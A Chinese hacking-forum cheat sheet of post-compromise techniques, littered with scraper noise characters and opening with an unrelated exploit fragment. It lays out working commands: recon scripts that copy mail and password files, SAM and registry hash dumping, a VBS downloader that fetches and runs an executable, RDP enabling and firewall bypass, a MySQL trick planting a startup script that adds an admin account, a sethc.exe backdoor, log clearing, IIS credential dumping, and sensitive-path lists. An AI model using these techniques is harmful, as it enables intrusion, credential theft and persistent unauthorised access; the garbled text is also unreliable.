7 o. a. L+ f; [  Y4 I4 e* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
$ H; E' I! l! A9 c7 J8 w& @% h8 g* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
9 h" P3 q, |/ M! ~* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
' i8 f% k; U" ~$ K感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
9 c+ s" `2 N  {3 \+ n+ E————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
* ^+ f9 ^7 J4 R& E4 ralzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
( T. ^& N/ c6 R, J7 I9 E{
2 N0 I) g' M0 a! a0 w注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
% p- e7 ~! q8 M6 j; ^那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
3 C* ]+ ~* j* x" e! v4 [}  
# I: V( v: v: D  ]1 C8 l1 W
( w% m, R( N0 [% m2 z& O提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
! {* E4 \3 k8 m9 ~$ M. M" {( f命令行RAR打包~~·
$ X8 U1 m) i7 s6 Zrar a -k -r -s -m3 c:\1.rar c:\folder
. K+ a* e! i5 P* X: Q9 d——————————————
2 d. v8 {5 e% I; F3 x2、收集系统信息的脚本  
for window：

+ x1 O7 v0 ~, @) I% i@echo off
# Y# T3 ], _* Q1 }1 f- v# x5 \echo #########system info collection
+ C% K- J+ c6 |# P  Q* c! ~systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
' x0 S( }  @9 n9 A: e  ~* P- _net user administrator
) b2 N8 u. n) c
- _( S8 C' _' C: A$ t3 d: h2 fecho #######at- with   atq#####
echo schtask /query

echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
! K! q7 i# T. K7 G2 tipconfig/all
/ T; K6 @8 ?2 |+ f/ M1 T: s  k8 ]route print
arp -a
/ ~0 b* e& v, T* O9 N0 @netstat -anipconfig /displaydns
echo
8 P& @' @* h1 g, @  Becho #######service############
sc query type= service state= all
echo #######file-##############
4 g: F, B& y. fcd \
0 q# S+ ?$ G7 Xtree -F
for linux：
& J0 a( o/ ?1 d$ `
#!/bin/bash
: {, h+ r& Q# O/ E
echo #######geting sysinfo####
6 ^! `2 D+ X6 Y1 R* secho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
8 \( m0 J: T0 n) |2 a  {% yecho #######basic infomation##
- {; T) g3 w8 z4 F! hcat /proc/meminfo
8 J; {$ }6 h) R! T3 j5 B. ?echo
cat /proc/cpuinfo
! e2 G  d" p8 z0 v2 t7 vecho
rpm -qa 2>/dev/null
4 G( w/ I* ^4 u* D######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

- h( d& h# a. v1 }2 o8 r* n$ D
/ z9 p; C1 f8 l% a: Zecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
% x3 H! T0 i5 t3 T( l* W4 z5 Eecho #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
4 b1 y- Z+ z# |; _$ i( Q4 kcat /etc/hosts
hostname
3 r3 w% H# k1 k1 Q  sipconfig -a
! c7 e+ z/ q  p) Zarp -v
, B2 m2 a6 @9 P, J5 ^echo ########user####
cat /etc/passwd|grep -i sh

) Y4 h' |3 k1 n$ x' Uecho ######service####
chkconfig --list
$ `2 N& G5 K( R" r, l
for i in {oracle,mysql,tomcat,samba,apache,ftp}
) A; t' [3 Z. }5 ncat /etc/passwd|grep -i $i
done

locate passwd >/tmp/password 2>/dev/null
# A) ^5 M5 b4 B! ^1 vsleep 5
3 u: ~- {# ?  P$ C' x( W- m: v7 W, Glocate password >>/tmp/password 2>/dev/null
sleep 5
3 y% w6 }1 R/ Rlocate conf >/tmp/sysconfig 2>dev/null
( S: x+ t" K' u$ i* Q7 Msleep 5
locate config >>/tmp/sysconfig 2>/dev/null
0 l& p% M- g7 B+ t0 k, wsleep 5

###maybe can use "tree /"###
4 k% d: ~  P# C. T0 n5 t0 _7 N) Vecho ##packing up#########
7 ^; q8 ~0 M: C; z- ?% ltar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
: z0 m, p# S9 a6 ^7 L——————————————
3、ethash 不免杀怎么获取本机hash。
' ^; @% o% m9 u0 Y+ C首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
; X* i/ ?! g/ C接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
( H4 k: Q: A8 A  @4 T9 k- V! i, @据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
( P% M( `. J5 r5 Techo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
6 j( H/ B: J$ i% S* \6 Z( [7 wecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
; H1 Q7 ~2 D$ S: wecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
8 l2 T; S, h4 T( X: T6 y# N) eecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
4 A! K0 k. u' t- ~" Z3 dcftmon.vbs
( w' N/ `$ G2 n1 z$ c
& L4 a4 @4 b, d" _- h6 I0 Z2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
! G2 Y4 M7 F# hs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
& V1 P( ^: l% {0 d4 @; |Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
* ?  h  j# X0 VSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
; h) C: t9 y5 R) g6 ?. xsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
8 Q5 n. a( s: M  j
$ ]& h; J7 f7 g% dcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
5 K6 F! P2 r  k2 N* b+ D; m
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
% F- D1 {* _/ j/ Y3 ^& y' z5、
1.查询终端端口
5 B% ~& r/ k; H0 m* UREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
% Q0 H, I2 y$ {  {! S3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
# y- q! l  s) V/ a" ^6、create table a (cmd text);
( k* @, |* ^2 p8 A! o1 M  c9 D4 linsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
3 _* y/ p& g" [/ X4 b" a/ X$ winsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
+ H8 G  [) L% r6 z( ~select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
, f) o3 o9 x) g) X# R; \4 b————————————————————
- W3 M2 f3 U; o7 s4 m& g7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
% {  q, ^+ u; m6 u( w+ y" ?: H
5 m6 w5 _% z; [6 O) K, Y列出d的所有目录
  
  for /d %i in (???) do @echo %i
+ J' H; d" D) z
把当前路径下文件夹的名字只有1-3个字母的打出来
6 w  ~# h4 f, `5 E7 Y. z; P
; }0 M( h1 |" M. N7 e9 S2.for /r %i in (*.exe) do @echo %i
  
& ?* G9 @" d, ]+ P以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
% ?3 ]/ O0 [. j' x
. z; f2 d8 ]9 zfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
: k2 G3 J0 @  z& Y
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
! ]7 g( C7 X. S——————————
% R2 ~- ]) H; v9 ]" l2 `6 ?0 U& P: w●注册表:
1.Administrator注册表备份:
& [! W7 P6 \# x6 G- Treg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
1 j5 T/ e8 }. H6 K) c修改PortNumber.
# f- J: P+ {9 a0 P8 Q# A
( K# O, I- l) i, H5 }+ H3.清除3389登录记录:
# ~- u* f' E/ ]reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
0 k. U* x+ r- Kreg export HKLM\SYSTEM\RAdmin c:\a.reg

- a# h  _3 z$ J5 w6 P  _" A" |5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
* n. X7 L  x3 L; wreg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
: D8 {/ R7 w7 ~5 D. A6 @或者
$ y1 Q2 \* a6 W7 ?4 g2 enetsh ipsec dynamic set config ipsecexempt value=0

) @/ G/ }8 t1 u4 e7.停止指派策略"myipsec":
- n$ @$ @! f% ^; z* vnetsh ipsec static set policy name="myipsec" assign=n
3 v+ f( v  I& c* n3 C# K+ p' m
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

  }, u- B: x& j. c( Z1 m2 [9.另类方法抓系统密码HASH
8 D7 X& N' x! A! v* Ureg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
# D; \- |, U+ a9 m" E1 _# `reg save hklm\security c:\security.hive
7 I& u* e3 v) Y2 n
. l) F  o0 e4 E10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
2 [7 \0 s* V& R/ k; @
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
9 H: e2 W$ j; G  H# R1 n-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
+ {1 v5 |8 g$ X4 S! s7 d& `9 fFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
! S. ]! o4 ~" g2 s  O" xif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
5 A/ o4 [. M* y2 L4 F& D# T6 l6 Kserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
+ ^$ W0 j8 U$ O/ \set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
9 ^1 m5 R- ]2 elist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
# I0 @7 Z8 w' ]  c' R" M7 y9 TNext
wscript.echo list
) B9 \. k2 K5 g; T. BSet ObjService=Nothing
. A, Y6 Y6 `/ _& A, Twscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
7 C  a1 d3 e2 P# KWScript.Quit
复制代码
" g; C9 s6 P0 e* u7 d----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
7 Y1 ~, P' R5 D* Z! [5 B( c( A2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
/ Q( j1 d( d& {! p. ^& P  O<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
4 _9 Y& R' R+ a复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
- \& u- M: o, @. O; l9 M( o* Q4 A 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
3 X3 L! \" c( ~' Q* Y path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
# M0 e; e# o* w: J/ A8 Y) S  qLINUX常见路径：

, e; N. }1 c! r2 ^8 k: e/etc/passwd
  v. K: D  j2 i; B' m6 ~/etc/shadow
/etc/fstab
/etc/host.conf
/etc/motd
4 u1 ~: I8 t4 X9 m0 B! H( G/etc/ld.so.conf
& B1 i( H' C1 @, |/var/www/htdocs/index.php
2 W' U+ O- Q6 i  |1 j. l/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
1 j. h5 a5 I1 R/var/httpd/conf/httpd.conf
3 g- ]! @# [% h( m! B* Q/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
; f* v- y" b. m& Q/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
2 t0 u+ g: R9 m8 H7 Q" m( t/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
! D2 t# K5 t' z! @/ r/etc/httpd/htdocs/index.html
9 s* X1 L( X; ^8 M/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
/www/htdocs/index.php
( F# m; Y  q9 \5 L# \, F; B/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
6 [1 K* p; F, g- V9 \5 _/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
! M1 Q/ M8 F3 Z9 h0 D  Y/etc/apache/httpd.conf
/etc/apache2/httpd.conf
' D9 d6 A* u8 Q# u' Y# k/etc/apache2/vhosts.d/00_default_vhost.conf
& y- M1 }6 ^3 @3 R5 n  E/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
4 L+ l! w- t( z5 A/etc/mysql/my.cnf
2 [, q! r" w- c  f/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
  Y6 o, v+ O( A1 ^: D/etc/httpd/logs/access.log
" v% `( x& Y; L& H% b; K% M/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
3 T1 \) D* Y. n& C7 C) i  w/var/log/apache/error.log
/var/log/apache/access_log
- s/ g" F6 P0 O! F$ a+ S3 Y1 [/var/log/apache/access.log
% e& N4 D' F+ D/var/log/apache2/error_log
0 {, V( h) ?5 I! c5 @& B/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
# e) E9 G3 d- a5 h3 T/var/www/logs/error_log
/var/www/logs/error.log
+ p4 \& U8 d: P2 `, M/var/www/logs/access_log
/var/www/logs/access.log
6 f+ i+ l2 l" }1 U* Z/ Z1 e& e/usr/local/apache/logs/error_log
9 c0 F  L+ A1 J. `/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
7 L/ N& b( S: e$ l/usr/local/apache/logs/access.log
9 h1 _9 O' p) f, e8 b3 C3 O/var/log/error_log
1 |! j2 @+ b% i. v2 X/ u/var/log/error.log
4 [: x4 f1 j  e0 s8 ~5 R2 }/var/log/access_log
/var/log/access.log
( f* j. E& E. I" l% P/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
4 A1 ?! @+ Z7 c: [  k/etc/php.ini
/ U9 N+ |2 i# Z/bin/php.ini
" k& ~: z( ?' @* }, j- ^' L0 I& z/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
0 ~! i, F' R$ x; ~& I/usr/local/etc/php.ini
/usr/local/lib/php.ini
2 k6 p' [7 t5 u# g7 n/usr/local/php/lib/php.ini
# m, k7 W1 O  C- s5 G: d% a/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
# `- t6 Z) A# L6 }) D/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
% P- l5 y+ ?" i! U/usr/local/php5/php5.ini
- \& L" ]4 _2 K) Z/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
9 j, J! u8 q$ D( E/etc/php4/apache/php.ini
( X' `: |8 [: t/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
; g1 z# i- i7 Z' q9 E/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
6 H4 ~9 d5 \6 W, P/etc/php/apache/php.ini
' g- U- t- J1 z7 @/ F& Z* Q/etc/php/apache2/php.ini
" ]' d4 ~  A. z% H$ _/ Y/web/conf/php.ini
+ N9 O8 ~* v2 x5 o; N. \/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
4 ?( J! u& Z# w/php/php.ini
/PHP/php.ini
3 ^1 h; H6 p: X* g. x/apache/php/php.ini
6 `, P) h: ?* S/ G& ^) \/xampp/apache/bin/php.ini
& ]3 Z9 m9 h. x/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
; o! r5 {- \3 f; x- F/home2/bin/stable/apache/php.ini
  G) q. s! ]0 x$ e3 N/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/ N4 B; P" F  n# y: c/var/log/mysql.log
" s% u5 h# E7 V" U, v# e/var/log/mysqlderror.log
. m  ^* q3 {! b$ n8 U  |/var/log/mysql/mysql.log
$ j1 E. _, V2 R/var/log/mysql/mysql-slow.log
/var/mysql.log
: c  u( O+ Z! v# [  M* A/var/lib/mysql/my.cnf
- K  e5 ]' i7 [# e/ K, `0 D/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
3 M5 O0 W# W. J6 M/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
) F$ g' S8 g  @- z, B0 g$ L& A/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
* T, L  z! J2 {! j% ~4 g: ]0 n  f3 o/usr/local/cpanel/logs/stats_log
7 `+ S4 X9 T% {/usr/local/share/examples/php4/php.ini
4 Q* |' {3 L! {+ B, L+ r/usr/local/share/examples/php/php.ini
9 H9 V2 d6 s7 @! D: `2 S
6 p! {; P6 Y" l2 v2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
c:\boot.ini
7 o8 C1 R) @8 ^' d* x3 `: dc:\1.txt
c:\a.txt

c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
& Q& p* ^* d9 O' yc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
# M% h8 H4 Z, ]4 i/ Yc:\program files\CMailServer\WebMail\index.asp
! l. W9 ~; d1 \! XC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
+ {# X2 x2 e" }: g) q0 d" P2 b
7 r4 k; _% V7 m" @8 Nc:\hzhost\databases\url.asp

8 F1 w/ V1 E% r! qc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
7 b% i$ q, M4 U. K# v' R6 X- i
( C- r  f" }8 w2 n  w8 yC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
- h& W* K3 `; c9 ?8 [1 YC:\WINDOWS\web.config
2 u- O+ U( O% n4 E8 z1 r% zc:\web\index.html
/ O# u; l% t. l/ b" Vc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
& X/ T. M  @1 r; `c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
6 U2 x* t. W% Y5 M7 e  r' E9 vc:\www\index.php
c:\WWWROOT\index.php
% {" H$ B4 S% J8 U( s7 dc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
) Y3 K  I, i9 T! ]5 n0 I9 gc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
0 t3 S( F- L9 ?  f  u2 D- Xc:\web\default.php
6 ^) \9 X3 u7 U" n: D, U2 k# zc:\www\default.php
& L8 K& [! \, ]0 Lc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
9 E6 e8 H5 I; q. ?/ BC:\Program Files\Microsoft Office\OFFICE10\winword.exe
0 ~% d# N1 z# _$ G. w# nC:\Program Files\Microsoft Office\OFFICE11\winword.exe
' d1 e! D3 J+ `" P2 zC:\Program Files\Microsoft Office\OFFICE12\winword.exe
+ C2 h2 V" }; H. ^0 ^C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
% L0 l3 f$ {- C9 C; I2 o  i3 lC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
6 m5 R0 o6 L; S. Wc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
0 ?3 l" v/ e) f3 EC:\Documents and Settings\All Users\Start Menu\desktop.ini
5 i- g& L5 e4 d& y% T- MC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
1 o; |- G+ f6 h8 hC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
4 `! ~8 D6 T1 |; y# n/ eC:\Documents and Settings\Administrator\桌面\1.txt
3 q/ g' Y3 Y  @C:\Documents and Settings\Administrator\My Documents\a.txt
0 o/ I% r; S0 H* f# x* }  d6 ~C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
6 T* T3 Q( G  E! V4 z( IE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
$ t% ^  H# ^$ XC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
3 ]. U- t9 \7 i8 }) n. a1 hC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
$ j4 R! n' d6 xC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 R6 C9 o- D5 A* L& J) f4 T  kC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
& e( y' A7 x0 C1 L* }; d, G; uC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
: }3 t  s; l6 X, n: [C:\Program Files\MySQL\MySQL Server 5.0\my.ini
2 A. m: C( Q! }) ~* u! iC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
; H8 V1 ?2 c5 m$ q0 V+ P% UC:\Program Files\MySQL\MySQL Server 5.0\COPYING
  I# V3 [* e+ l0 [9 c- UC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
- z0 ^; r% y- z. lc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
) B" Y$ b# ]4 }0 J9 r' f8 GC:\WINDOWS\system32\inetsrv\inetinfo.exe
6 C! J+ h) _2 K  XC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
; o$ L- k+ }- y0 G* vc:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
# c, U- I) \2 s# A1 A% U5 oc:\tomcat6\bin\version.sh
8 v! n- s$ `3 l, X2 xc:\tomcat\bin\version.sh
& O# ^, Q# q4 o: c8 R$ A) Z( qc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
4 L7 W7 R, Y" p, r' m. j6 f6 mc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
' b/ u) S0 H# B5 J$ @4 Yc:\Apache2\bin\Apache.exe
/ u, P0 F, r# l% P/ Qc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
8 B3 U% Y& h: z) U- B( g/usr/local/tomcat5527/bin/version.sh
8 |- k6 o% h0 ?# ^) L/usr/share/tomcat6/bin/startup.sh
2 |* z4 Q9 u. s) o5 p; y& m5 i  h/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
( e; i; T9 B* a1 L! T+ K6 |; Dc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
/ }4 P# a2 l. e! X7 w8 u  c8 nc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
/ O4 q  J8 ?0 h& w# u" Jc:\Program Files\Tencent\qq2010\bin\qq.exe
  l$ C; k+ K7 a- }$ l& u1 E9 Q4 ^8 `c:\Program Files\Tencent\qq\Users\All Users\Registry.db
